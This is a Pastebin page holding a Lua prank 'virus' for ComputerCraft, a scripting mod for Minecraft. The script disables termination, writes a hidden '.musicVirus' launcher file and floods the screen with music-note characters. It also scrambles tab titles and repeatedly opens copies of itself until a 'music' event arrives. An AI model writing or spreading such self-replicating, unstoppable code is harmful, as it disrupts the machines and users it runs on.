QuickMuffin8782-Alt

Remix of my virus

Nov 20th, 2020 (edited)
53
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. local running = true
  2. local w, h = term.getSize()
  3. term.setBackgroundColor(colors.black)
  4. term.setTextColor(colors.yellow)
  5. term.clear()
  6. os.pullEvent = os.pullEventRaw
  7. local ev = nil
  8. local p1 = nil
  9. local p2 = nil
  10. local p3 = nil
  11. local p4 = nil
  12. local p5 = nil
  13. local args = { ... }
  14. local clone = false
  15. if args[1] == "--clone" then
  16. clone = true
  17. end
  18. function writeFile(path, text, append)
  19. if path == shell.getRunningProgram() then
  20. return
  21. end
  22. if fs.exists(path) then
  23. return
  24. end
  25. local handle = fs.open(path, append and "a" or "w")
  26. handle.write(text)
  27. handle.close()
  28. end
  29. local program = shell.getRunningProgram()
  30. if fs.exists(".musicVirus/duplicate.lua") then
  31. fs.delete(".musicVirus/duplicate.lua")
  32. writeFile(".musicVirus/duplicate.lua", "--MUSIC VIRUS--\nshell.run(\"" .. program .. "\", \"--clone\")", false)
  33. end
  34. if not fs.exists(".musicVirus/duplicate.lua") then
  35. writeFile(".musicVirus/duplicate.lua", "--MUSIC VIRUS--\nshell.run(\"" .. program .. "\", \"--clone\")", false)
  36. end
  37. while running do
  38. term.setBackgroundColor(colors.black)
  39. term.setTextColor(colors.yellow)
  40. if math.random(1,6) <= 4 then
  41. term.setCursorPos(math.random(1,w), math.random(1,h))
  42. term.write(string.char(math.random(14,15)))
  43. end
  44. term.scroll(0)
  45. local timer = os.startTimer(0.1)
  46. if multishell then
  47. local move = math.random(-1, 1)
  48. if math.random(1,25) == 1 then
  49. if not clone then
  50. for i = 1, multishell.getCount() do
  51. multishell.setTitle( i, string.char(math.random(14,15)) )
  52. end
  53. multishell.setFocus( multishell.getFocus() + move )
  54. end
  55. end
  56. end
  57. if multishell and math.random(1,10) <= 1 then
  58. if not clone then
  59. shell.openTab(".musicVirus/duplicate.lua", "--clone")
  60. end
  61. end
  62. local ev, p1, p2, p3, p4, p5 = os.pullEvent()
  63. if ev == "music" then
  64. running = false
  65. term.clear()
  66. term.setCursorPos()
  67. end
  68. os.cancelTimer(timer)
  69. end
Add Comment
Please, Sign In to add comment